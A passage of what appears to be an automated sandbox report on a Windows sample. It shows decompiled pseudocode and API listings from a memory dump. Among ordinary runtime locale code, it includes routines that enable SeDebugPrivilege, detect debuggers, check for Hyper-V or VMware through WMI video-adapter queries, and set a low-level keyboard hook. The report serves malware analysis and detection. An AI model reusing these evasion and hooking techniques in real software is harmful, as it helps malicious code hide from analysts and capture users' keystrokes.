					_t34 = LookupPrivilegeValueW(0, L"SeDebugPrivilege",  &_v48); // executed
					if(_t34 == 0) {
						L2:
						L3:
						return E0049CE1D(_v8 ^ _t65);
					}
					_v24.Privileges = _v48.LowPart;
					_v16 = _v48.HighPart;
					_v24.PrivilegeCount = 1;
					_v12 = 0;
					AdjustTokenPrivileges(_v56, 0,  &_v24, _t60,  &_v40,  &_v52); // executed
					_v40.Privileges = _v48.LowPart;
					_v40.PrivilegeCount = 1;
					_v32 = _v48.HighPart;
					if(_t57 == 0) {
						_v28 = _v28 & 0xfffffffd;
					} else {
						_v28 = _v28 | 0x00000002;
					}
					AdjustTokenPrivileges(_v56, 0,  &_v40, _v52, 0, 0); // executed
					if( *0x4f0018() != 0) {
						goto L2;
					}
					goto L3;
				}
				 *0x4f0018();
				goto L2;
			}

0x0044781e
0x00447821
0x00447828
0x00447831
0x00447836
0x0044783d
0x0044784e
0x00447877
0x0044787f
0x00447856
0x00447858
0x00447869
0x00447869
0x00447885
0x0044788d
0x0044789a
0x004478b4
0x004478b8
0x004478be
0x004478c6
0x004478ce
0x004478d4
0x004478dd
0x004478d6
0x004478d6
0x004478d6
0x004478f2
0x004478fc
0x00000000
0x00000000
0x00000000
0x00447902
0x00447850
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000022,?), ref: 0044783F
OpenProcessToken.ADVAPI32(00000000), ref: 00447846
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 00447877
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,?), ref: 004478B8
AdjustTokenPrivileges.KERNELBASE(?,00000000,000000FD,?,00000000,00000000), ref: 004478F2

Strings

SeDebugPrivilege, xrefs: 00447871

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Token$AdjustPrivilegesProcess$CurrentLookupOpenPrivilegeValue
String ID: SeDebugPrivilege
API String ID: 936316106-2896544425
Opcode ID: 85fb92490f0f8a15989a6b66606816f3162ba23b3d7adfa96b60684d9a0e7cd6
Instruction ID: 90dea48e7e83108975329189df0cb34afaa59d95de0f56ed7103f25d54040895
Opcode Fuzzy Hash: 85fb92490f0f8a15989a6b66606816f3162ba23b3d7adfa96b60684d9a0e7cd6
Instruction Fuzzy Hash: 3A214FB1518345AFD310DF24DC84E6BBBE8FB88754F000A2EF895C6251E774D905CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004382E8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(00000000), ref: 0043832D

Strings

NtQueryInformationProcess, xrefs: 004382FD
NTDLL.DLL, xrefs: 00438302

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InformationProcessQuery
String ID: NTDLL.DLL$NtQueryInformationProcess
API String ID: 1778838933-2613899276
Opcode ID: dfd8b8bb9dec71ef832ee325f34343ce159435f71b5cfb3d5a7ae222f34f9b7a
Instruction ID: 4c2aab8579277b2b8d6d1ee676096609c7c8e0f886d3ae4e14bd530946186aab
Opcode Fuzzy Hash: dfd8b8bb9dec71ef832ee325f34343ce159435f71b5cfb3d5a7ae222f34f9b7a
Instruction Fuzzy Hash: 65F04431901318ABDF109BE59C45FEEB7B8AB08751F50016AF901E6290CF78995487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0043656A, Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(0000000D,0043527C,00000000), ref: 004365A0
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 004365C8

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CallbackDispatcherHookUserWindows
String ID:
API String ID: 2140249451-0
Opcode ID: 5359bc77c6744d1b119d74be3b21fe046dd9245d5038d394d8a3aefeb46aa32a
Instruction ID: b0d32cd98488177756b2ce22fbb7a86962624bb5ed66f4eacbafa718af698bc2
Opcode Fuzzy Hash: 5359bc77c6744d1b119d74be3b21fe046dd9245d5038d394d8a3aefeb46aa32a
Instruction Fuzzy Hash: D2012171900284BFDB10EFB6ECC9E9B7BBCEB4C700F00043AE106DA152D6789545CB28

Uniqueness

Uniqueness Score: -1.00%

Function 00438418, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(00000000), ref: 00438436

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9d410a4fcdc46e13a70cbc1fb8008168aaa8605b2d415dbfde2a2061b727874b
Instruction ID: f5427a212dfdd87da89f9e0ba9ca1222acfb2865482f63687b35125f38c6985d
Opcode Fuzzy Hash: 9d410a4fcdc46e13a70cbc1fb8008168aaa8605b2d415dbfde2a2061b727874b
Instruction Fuzzy Hash: E5E02032F142341ECB1029757F4C7A77659D3C6175F141B36FD16D2481FC29451581ED

Uniqueness

Uniqueness Score: -1.00%

Function 0049C76F, Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,?,0049C931,?,00000022,00000000,00000002,?,?,0049AC90,00000000,00000000,00000004,00499A05,00000000,00000004), ref: 0049C791

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8bdeb88323b82ef23c73d34e39c01d7ba77247a1ae46e5c06d95754e11bfc369
Instruction ID: f9ffe4a80a61b845b6a4f6b8d3eda22fdacd91f8600eba3c745f3679840f9bd8
Opcode Fuzzy Hash: 8bdeb88323b82ef23c73d34e39c01d7ba77247a1ae46e5c06d95754e11bfc369
Instruction Fuzzy Hash: 7DE0E636501129ABCF011FD1ED49CAE7F29EB447607044465F90556121DB3598219F99

Uniqueness

Uniqueness Score: -1.00%

Function 00438DCE, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32(00000000), ref: 00438DEC

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 329cb82f05bf82990bf6ada7289953a8f0a9763c03fb8bedf75985b71777df28
Instruction ID: 09e9f4d8f5242797316c51bba627f5ea0253f9dfdebc91d532508e0e4eafc2c5
Opcode Fuzzy Hash: 329cb82f05bf82990bf6ada7289953a8f0a9763c03fb8bedf75985b71777df28
Instruction Fuzzy Hash: 0AE0BF71910208AFCB04DFE5D849A9E7BF8EB48255F404469A402D3241DA78AA54CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0049ACC4, Relevance: 30.3, APIs: 20, Instructions: 287
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E0049ACC4(void* __ecx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				signed int _t65;
				signed char _t66;
				void* _t69;
				void* _t71;
				void* _t72;
				intOrPtr _t73;
				intOrPtr* _t74;
				void* _t80;
				void* _t82;
				void* _t83;
				void* _t85;
				void* _t86;
				intOrPtr* _t88;
				void* _t89;
				intOrPtr* _t91;
				intOrPtr* _t94;
				void* _t106;
				intOrPtr* _t108;
				intOrPtr* _t110;
				void* _t111;
				signed int _t116;
				void* _t117;
				void* _t146;
				signed int _t150;
				intOrPtr _t152;
				void* _t154;
				intOrPtr* _t156;
				void* _t157;
				void* _t160;
				intOrPtr* _t161;
				intOrPtr* _t162;
				intOrPtr* _t163;
				void* _t164;
				void* _t165;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t176 = __eflags;
				_t153 = __esi;
				_t146 = __edx;
				_push(8);
				E0049D90B(0x4d731a, __edi, __esi);
				_push(0);
				_push(0);
				_t65 = E00499AE3(_t146, __edi, __esi, _t176);
				_t116 =  *(_t164 + 0x14);
				_t152 =  *((intOrPtr*)(_t164 + 0x10));
				_t150 = 1 << _t65 >> 1;
				_t177 =  *(_t164 + 0xc) & 1;
				if(( *(_t164 + 0xc) & 1) != 0) {
					_t110 = E0042B22E(0x4ede30, _t152, __esi, _t177);
					if(_t116 != 0) {
						_push(_t116);
						_t153 = _t110;
						_t111 = E00499534(_t152, _t153, __eflags);
						_push(_t153);
						_push(_t111);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, __eflags);
						_t165 = _t165 + 0x10;
					} else {
						 *((intOrPtr*)(_t164 - 0x10)) = _t110;
						_t163 = E0049CE33(0x10);
						 *((intOrPtr*)(_t164 - 0x14)) = _t163;
						_t179 = _t163;
						if(_t163 == 0) {
							_t153 = 0;
							__eflags = 0;
						} else {
							 *(_t163 + 4) =  *(_t163 + 4) & _t116;
							 *_t163 = 0x402e64;
							 *((intOrPtr*)(_t163 + 8)) = E0049C860();
							 *(_t163 + 0xc) = _t150;
						}
						_push( *((intOrPtr*)(_t164 - 0x10)));
						_push(_t153);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, _t179);
						_t165 = _t165 + 0xc;
					}
				}
				_t66 =  *(_t164 + 0xc);
				_t180 = _t66 & 0x00000020;
				if((_t66 & 0x00000020) != 0) {
					_t153 = E0042B22E(0x4ede34, _t152, _t153, _t180);
					if(_t116 != 0) {
						_push(_t116);
						_t106 = E004995C9();
						_push(_t153);
						_push(_t106);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, __eflags);
						_t165 = _t165 + 0x10;
					} else {
						_t108 = E0049CE33(8);
						 *((intOrPtr*)(_t164 - 0x14)) = _t108;
						_t182 = _t108;
						if(_t108 == 0) {
							_t108 = 0;
							__eflags = 0;
						} else {
							 *(_t108 + 4) =  *(_t108 + 4) & _t116;
							 *_t108 = 0x402e80;
						}
						_push(_t153);
						_push(_t108);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, _t182);
						_t165 = _t165 + 0xc;
					}
					_t66 =  *(_t164 + 0xc);
				}
				_t183 = _t66 & 0x00000004;
				if((_t66 & 0x00000004) != 0) {
					_t157 = E0042B22E(0x4ede38, _t152, _t153, _t183);
					if(_t116 != 0) {
						_push(_t116);
						_t80 = E0049965E();
						_push(_t157);
						_push(_t80);
						_push(_t152);
						E0048A873(_t150, _t152, _t157, __eflags);
						_t82 = E0042B22E(0x4ede3c, _t152, _t157, __eflags);
						_push(_t116);
						_t83 = E004996F3();
						_push(_t82);
						_push(_t83);
						_push(_t152);
						E0048A873(_t150, _t152, _t82, __eflags);
						_t85 = E0042B22E(0x4ede40, _t152, _t82, __eflags);
						_push(_t116);
						_t86 = E0049981D();
						_push(_t85);
						_push(_t86);
						_push(_t152);
						E0048A873(_t150, _t152, _t85, __eflags);
						_t88 = E0042B22E(0x4ede44, _t152, _t85, __eflags);
						_push(_t116);
						_t153 = _t88;
						_t89 = E00499788();
						_push(_t88);
						_push(_t89);
						_push(_t152);
						E0048A873(_t150, _t152, _t88, __eflags);
						_t165 = _t165 + 0x40;
					} else {
						_t91 = E0049CE33(8);
						 *((intOrPtr*)(_t164 - 0x14)) = _t91;
						_t185 = _t91;
						if(_t91 == 0) {
							_t91 = 0;
							__eflags = 0;
						} else {
							 *(_t91 + 4) =  *(_t91 + 4) & _t116;
							 *_t91 = 0x402e9c;
						}
						_push(_t157);
						_push(_t91);
						_push(_t152);
						E0048A873(_t150, _t152, _t157, _t185);
						_t173 = _t165 + 0xc;
						_t160 = E0042B22E(0x4ede3c, _t152, _t157, _t185);
						_t94 = E0049CE33(8);
						 *((intOrPtr*)(_t164 - 0x14)) = _t94;
						_t186 = _t94;
						if(_t94 == 0) {
							_t94 = 0;
							__eflags = 0;
						} else {
							 *(_t94 + 4) =  *(_t94 + 4) & 0x00000000;
							 *_t94 = 0x402eb4;
						}
						_push(_t160);
						_push(_t94);
						_push(_t152);
						E0048A873(_t150, _t152, _t160, _t186);
						_t174 = _t173 + 0xc;
						 *((intOrPtr*)(_t164 - 0x10)) = E0042B22E(0x4ede40, _t152, _t160, _t186);
						_t161 = E0049CE33(0x58);
						 *((intOrPtr*)(_t164 - 0x14)) = _t161;
						 *(_t164 - 4) = 7;
						_t187 = _t161;
						if(_t161 == 0) {
							_t161 = 0;
							__eflags = 0;
						} else {
							 *((intOrPtr*)(_t161 + 4)) = 0;
							_push(0);
							_push( *((intOrPtr*)(_t164 + 8)));
							 *(_t164 - 4) = 8;
							 *_t161 = 0x402ecc;
							 *((char*)(_t161 + 0x28)) = 0;
							E0049AB98(_t161, _t152, _t161, _t187);
							 *_t161 = 0x402f00;
						}
						_push( *((intOrPtr*)(_t164 - 0x10)));
						 *(_t164 - 4) =  *(_t164 - 4) | 0xffffffff;
						_push(_t161);
						_push(_t152);
						E0048A873(_t150, _t152, _t161, _t187);
						_t175 = _t174 + 0xc;
						 *((intOrPtr*)(_t164 - 0x10)) = E0042B22E(0x4ede44, _t152, _t161, _t187);
						_t162 = E0049CE33(0x58);
						 *((intOrPtr*)(_t164 - 0x14)) = _t162;
						 *(_t164 - 4) = 0xd;
						_t188 = _t162;
						if(_t162 == 0) {
							_t153 = 0;
							__eflags = 0;
						} else {
							 *(_t162 + 4) =  *(_t162 + 4) & 0x00000000;
							_push(0);
							_push( *((intOrPtr*)(_t164 + 8)));
							 *(_t164 - 4) = 0xe;
							 *_t162 = 0x402ecc;
							 *((char*)(_t162 + 0x28)) = 1;
							E0049AB98(_t162, _t152, _t162, _t188);
							 *_t162 = 0x402f34;
						}
						_push( *((intOrPtr*)(_t164 - 0x10)));
						 *(_t164 - 4) =  *(_t164 - 4) | 0xffffffff;
						_push(_t153);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, _t188);
						_t165 = _t175 + 0xc;
					}
					_t66 =  *(_t164 + 0xc);
				}
				_t189 = _t66 & 0x00000010;
				if((_t66 & 0x00000010) != 0) {
					_t154 = E0042B22E(0x4ede48, _t152, _t153, _t189);
					if(_t116 != 0) {
						_push(_t116);
						_t69 = E004998B2();
						_push(_t154);
						_push(_t69);
						_push(_t152);
						E0048A873(_t150, _t152, _t154, __eflags);
						_t71 = E0042B22E(0x4ede4c, _t152, _t154, __eflags);
						_push(_t116);
						_t72 = E00499947();
						_push(_t71);
						_push(_t72);
						_push(_t152);
						_t66 = E0048A873(_t150, _t152, _t71, __eflags);
					} else {
						_t73 = E0049CE33(0x44);
						 *((intOrPtr*)(_t164 - 0x14)) = _t73;
						 *(_t164 - 4) = 0x12;
						_t191 = _t73;
						if(_t73 == 0) {
							_t74 = 0;
							__eflags = 0;
						} else {
							_push(_t116);
							_push( *((intOrPtr*)(_t164 + 8)));
							_t74 = E004999DC(_t73); // executed
						}
						 *(_t164 - 4) =  *(_t164 - 4) | 0xffffffff;
						_push(_t154);
						_push(_t74);
						_push(_t152);
						E0048A873(_t150, _t152, _t154, _t191);
						_t117 = E0042B22E(0x4ede4c, _t152, _t154, _t191);
						_t156 = E0049CE33(0xc);
						 *((intOrPtr*)(_t164 - 0x14)) = _t156;
						_t192 = _t156;
						if(_t156 == 0) {
							_t156 = 0;
							__eflags = 0;
						} else {
							 *(_t156 + 4) =  *(_t156 + 4) & 0x00000000;
							 *_t156 = 0x402f94;
							 *(_t156 + 8) =  *(_t156 + 8) & 0x00000000;
							E0049AC9B(_t117, _t152,  *((intOrPtr*)(_t164 + 8))); // executed
						}
						_push(_t117);
						_push(_t156);
						_push(_t152);
						_t66 = E0048A873(_t150, _t152, _t156, _t192);
					}
				}
				return E0049D8D4(_t66);
			}

0x0049acc4
0x0049acc4
0x0049acc4
0x0049acc4
0x0049accb
0x0049acd0
0x0049acd2
0x0049acd4
0x0049acd9
0x0049acde
0x0049ace8
0x0049acea
0x0049aced
0x0049acf4
0x0049acfb
0x0049ad38
0x0049ad39
0x0049ad3b
0x0049ad40
0x0049ad41
0x0049ad42
0x0049ad43
0x0049ad48
0x0049acfd
0x0049acff
0x0049ad07
0x0049ad09
0x0049ad0d
0x0049ad0f
0x0049ad27
0x0049ad27
0x0049ad11
0x0049ad11
0x0049ad14
0x0049ad1f
0x0049ad22
0x0049ad22
0x0049ad29
0x0049ad2c
0x0049ad2d
0x0049ad2e
0x0049ad33
0x0049ad33
0x0049acfb
0x0049ad4b
0x0049ad4e
0x0049ad50
0x0049ad5c
0x0049ad60
0x0049ad8b
0x0049ad8c
0x0049ad91
0x0049ad92
0x0049ad93
0x0049ad94
0x0049ad99
0x0049ad62
0x0049ad64
0x0049ad69
0x0049ad6d
0x0049ad6f
0x0049ad7c
0x0049ad7c
0x0049ad71
0x0049ad71
0x0049ad74
0x0049ad74
0x0049ad7e
0x0049ad7f
0x0049ad80
0x0049ad81
0x0049ad86
0x0049ad86
0x0049ad9c
0x0049ad9c
0x0049ad9f
0x0049ada1
0x0049adb1
0x0049adb5
0x0049aed3
0x0049aed4
0x0049aed9
0x0049aeda
0x0049aedb
0x0049aedc
0x0049aee9
0x0049aeee
0x0049aef1
0x0049aef6
0x0049aef7
0x0049aef8
0x0049aef9
0x0049af06
0x0049af0b
0x0049af0e
0x0049af13
0x0049af14
0x0049af15
0x0049af16
0x0049af23
0x0049af28
0x0049af29
0x0049af2b
0x0049af30
0x0049af31
0x0049af32
0x0049af33
0x0049af38
0x0049adbb
0x0049adbd
0x0049adc2
0x0049adc6
0x0049adc8
0x0049add5
0x0049add5
0x0049adca
0x0049adca
0x0049adcd
0x0049adcd
0x0049add7
0x0049add8
0x0049add9
0x0049adda
0x0049addf
0x0049adee
0x0049adf0
0x0049adf5
0x0049adf9
0x0049adfb
0x0049ae09
0x0049ae09
0x0049adfd
0x0049adfd
0x0049ae01
0x0049ae01
0x0049ae0b
0x0049ae0c
0x0049ae0d
0x0049ae0e
0x0049ae13
0x0049ae22
0x0049ae2a
0x0049ae2d
0x0049ae30
0x0049ae37
0x0049ae39
0x0049ae60
0x0049ae60
0x0049ae3b
0x0049ae3d
0x0049ae40
0x0049ae41
0x0049ae46
0x0049ae4a
0x0049ae50
0x0049ae53
0x0049ae58
0x0049ae58
0x0049ae62
0x0049ae65
0x0049ae69
0x0049ae6a
0x0049ae6b
0x0049ae70
0x0049ae7f
0x0049ae87
0x0049ae8a
0x0049ae8d
0x0049ae94
0x0049ae96
0x0049aebe
0x0049aebe
0x0049ae98
0x0049ae98
0x0049ae9c
0x0049ae9e
0x0049aea3
0x0049aea7
0x0049aead
0x0049aeb1
0x0049aeb6
0x0049aeb6
0x0049aec0
0x0049aec3
0x0049aec7
0x0049aec8
0x0049aec9
0x0049aece
0x0049aece
0x0049af3b
0x0049af3b
0x0049af3e
0x0049af40
0x0049af50
0x0049af54
0x0049afd0
0x0049afd1
0x0049afd6
0x0049afd7
0x0049afd8
0x0049afd9
0x0049afe6
0x0049afeb
0x0049afee
0x0049aff3
0x0049aff4
0x0049aff5
0x0049aff6
0x0049af56
0x0049af58
0x0049af5e
0x0049af61
0x0049af68
0x0049af6a
0x0049af79
0x0049af79
0x0049af6c
0x0049af6c
0x0049af6d
0x0049af72
0x0049af72
0x0049af7b
0x0049af7f
0x0049af80
0x0049af81
0x0049af82
0x0049af96
0x0049af9d
0x0049af9f
0x0049afa3
0x0049afa5
0x0049afc1
0x0049afc1
0x0049afa7
0x0049afa7
0x0049afb0
0x0049afb6
0x0049afba
0x0049afba
0x0049afc3
0x0049afc4
0x0049afc5
0x0049afc6
0x0049afcb
0x0049af54
0x0049b003

APIs

__EH_prolog3.LIBCMT ref: 0049ACCB
collate.LIBCPMT ref: 0049ACD4

Part of subcall function 00499AE3: __EH_prolog3_GS.LIBCMT ref: 00499AEA
Part of subcall function 00499AE3: __Getcoll.LIBCPMT ref: 00499B4E

__Getcoll.LIBCPMT ref: 0049AD1A
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AD2E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AD43
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AD81
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AD94
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049ADDA
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AE0E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AEC9
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AEDC
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AEF9
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AF16
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AF33
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AE6B

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

numpunct.LIBCPMT ref: 0049AF72
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AF82
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AFC6
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AFD9
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AFF6

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddfacLocimp::_Locimp_std::locale::_$GetcollH_prolog3_Lockitstd::_$H_prolog3Lockit::_Lockit::~_collatenumpunct
String ID:
API String ID: 3839405195-0
Opcode ID: 318ce5f481af8421ded7a6ab4392a14e205fc520f5932919b53e51d8f1db25ff
Instruction ID: 04a7dbbcce0daef4041963a70b1bcc221a47aead397dd6f57fe9782455da5912
Opcode Fuzzy Hash: 318ce5f481af8421ded7a6ab4392a14e205fc520f5932919b53e51d8f1db25ff
Instruction Fuzzy Hash: 8691C5B1D002116AEF117AA6884AA3F7EA5DF51754F10893FF809A7282DB7C8D1153EF

Uniqueness

Uniqueness Score: -1.00%

Function 0043879C, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E0043879C(void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v12;
				char _v32;
				void* _v36;
				void* _v40;
				char _v44;
				void* _v48;
				WCHAR* _v64;
				WCHAR* _v68;
				WCHAR* _v72;
				char _v76;
				intOrPtr* _v88;
				intOrPtr* _v96;
				signed int _t38;
				void* _t40;
				intOrPtr* _t45;
				intOrPtr* _t52;
				intOrPtr* _t54;
				WCHAR* _t58;
				intOrPtr* _t61;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t76;
				char _t91;
				signed int _t94;

				_t96 = (_t94 & 0xfffffff8) - 0x28;
				_t38 =  *0x4eb018; // 0xa679d9c
				_v8 = _t38 ^ (_t94 & 0xfffffff8) - 0x00000028;
				_t91 = 0;
				_push(__ecx);
				_v36 = 0;
				_v32 = 0;
				_v40 = 0;
				_t40 = E0043F5AD( &_v36,  &_v32);
				_pop(_t67);
				if(_t40 != 0) {
					_push( &_v40);
					if(E0043F667( &_v32) != 0) {
						_t73 = _v40;
						_v44 = 0;
						_v12 = 0;
						if(_t73 != 0) {
							while(1) {
								 *((intOrPtr*)( *_t73 + 0x10))(_t73, 0xffffffff, 1,  &_v44,  &_v12);
								if(_v32 == _t91) {
									goto L14;
								}
								_t52 = _v64;
								_push(_t91);
								_push(_t91);
								_push( &_v48);
								_push(_t91);
								_push(L"Caption");
								_push(_t52); // executed
								if( *((intOrPtr*)( *_t52 + 0x10))() < 0) {
									L11:
									_t54 = _v88;
									 *((intOrPtr*)( *_t54 + 8))(_t54);
									_t73 = _v88;
									if(_t73 != 0) {
										continue;
									} else {
									}
								} else {
									if(_v72 != 8) {
										L10:
										 *0x4ed604( &_v72);
										goto L11;
									} else {
										_t58 = StrStrIW(_v64, L"Hyper-V"); // executed
										if(_t58 != 0 || StrStrIW(_v68, L"Microsoft Basic Display Adapter") != 0 || StrStrIW(_v72, L"VMWare") != 0) {
											 *0x4ed604( &_v76);
											_t61 = _v96;
											 *((intOrPtr*)( *_t61 + 8))(_t61);
											_t91 = 1;
										} else {
											goto L10;
										}
									}
								}
								goto L14;
							}
						}
						L14:
						_t45 = _v36;
						 *((intOrPtr*)( *_t45 + 8))(_t45);
						_t75 = _v36;
						 *((intOrPtr*)( *_t75 + 8))(_t75);
						_t76 = _v48;
						 *((intOrPtr*)( *_t76 + 8))(_t76);
						 *0x4ed810(); // executed
					}
				}
				return E0049CE1D(_v8 ^ _t96);
			}

0x004387a2
0x004387a5
0x004387ac
0x004387b2
0x004387b8
0x004387bd
0x004387c1
0x004387c5
0x004387c9
0x004387ce
0x004387d1
0x004387dc
0x004387ee
0x004387f4
0x004387f8
0x004387fc
0x00438802
0x0043880e
0x0043881f
0x00438826
0x00000000
0x00000000
0x0043882c
0x00438834
0x00438835
0x00438836
0x00438839
0x0043883a
0x0043883f
0x00438845
0x00438887
0x00438887
0x0043888e
0x00438891
0x00438897
0x00000000
0x00000000
0x0043889d
0x00438847
0x0043884d
0x0043887c
0x00438881
0x00000000
0x0043884f
0x00438858
0x0043885c
0x004388a4
0x004388aa
0x004388b1
0x004388b6
0x00000000
0x00000000
0x00000000
0x0043885c
0x0043884d
0x00000000
0x00438845
0x0043880e
0x004388b7
0x004388b7
0x004388be
0x004388c1
0x004388c8
0x004388cb
0x004388d2
0x004388d5
0x004388d5
0x004387ee
0x004388ed

APIs

Part of subcall function 0043F5AD: SysAllocString.OLEAUT32(ROOT\CIMV2), ref: 0043F5FC
Part of subcall function 0043F5AD: SysFreeString.OLEAUT32(00000000), ref: 0043F621

Part of subcall function 0043F667: SysAllocString.OLEAUT32(WQL), ref: 0043F67F
Part of subcall function 0043F667: SysAllocString.OLEAUT32(SELECT * FROM Win32_VideoController), ref: 0043F688
Part of subcall function 0043F667: SysFreeString.OLEAUT32(00000000), ref: 0043F6D2
Part of subcall function 0043F667: SysFreeString.OLEAUT32(00000000), ref: 0043F6DD

StrStrIW.SHLWAPI(?,Hyper-V), ref: 00438858
StrStrIW.SHLWAPI(?,Microsoft Basic Display Adapter), ref: 00438867
StrStrIW.SHLWAPI(?,VMWare), ref: 00438876
VariantClear.OLEAUT32(00000008), ref: 00438881
VariantClear.OLEAUT32(00000008), ref: 004388A4

Strings

VMWare, xrefs: 0043886D
Hyper-V, xrefs: 0043884F
Microsoft Basic Display Adapter, xrefs: 0043885E
Caption, xrefs: 0043883A

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$AllocFree$ClearVariant
String ID: Caption$Hyper-V$Microsoft Basic Display Adapter$VMWare
API String ID: 261499160-2601875369
Opcode ID: b954a7e0e0a7886b4ade209102527ca93faec4aa3c3b4ac8daae5b98ffce4332
Instruction ID: cad59449631d3d9305af6ef8d900ebbb3397a1077be9872861ffa1e9e56699b9
Opcode Fuzzy Hash: b954a7e0e0a7886b4ade209102527ca93faec4aa3c3b4ac8daae5b98ffce4332
Instruction Fuzzy Hash: 7E417C71608302AFC708EF25C884D5BBBE8EFC8754F104A6EF55997260DB30D949CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0042B0D7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0042B0D7(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				signed int _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _t61;
				void* _t65;
				intOrPtr _t78;
				intOrPtr _t93;
				intOrPtr _t94;
				signed int _t99;

				_t78 = __ecx;
				_push(4);
				E0049D90B(0x4c4a52, __edi, __esi);
				_t93 = _t78;
				_v16 = _t93;
				E00488DEA(_t78, 0);
				_v4 = 0;
				 *((intOrPtr*)(_t93 + 4)) = 0;
				 *((char*)(_t93 + 8)) = 0;
				_v4 = 1;
				 *((intOrPtr*)(_t93 + 0xc)) = 0;
				 *((char*)(_t93 + 0x10)) = 0;
				_v4 = 2;
				 *((intOrPtr*)(_t93 + 0x14)) = 0;
				 *((short*)(_t93 + 0x18)) = 0;
				_v4 = 3;
				 *((intOrPtr*)(_t93 + 0x1c)) = 0;
				 *((short*)(_t93 + 0x20)) = 0;
				_v4 = 4;
				 *((intOrPtr*)(_t93 + 0x24)) = 0;
				 *((char*)(_t93 + 0x28)) = 0;
				_v4 = 5;
				 *((intOrPtr*)(_t93 + 0x2c)) = 0;
				 *((char*)(_t93 + 0x30)) = 0;
				_v4 = 6;
				if(_a8 == 0) {
					E0048902D("bad locale name");
					asm("int3");
					_push(0xffffffff);
					_push(0x4c4ab7);
					_push( *[fs:0x0]);
					_push(_t78);
					_push(0);
					_push(_t93);
					_t61 =  *0x4eb018; // 0xa679d9c
					_push(_t61 ^ _t99);
					 *[fs:0x0] =  &_v20;
					_t94 = _t78;
					_v24 = _t94;
					_v12 = 6;
					E0048931A(_t94); // executed
					_v12 = 5;
					if( *((intOrPtr*)(_t94 + 0x2c)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0x2c)));
					}
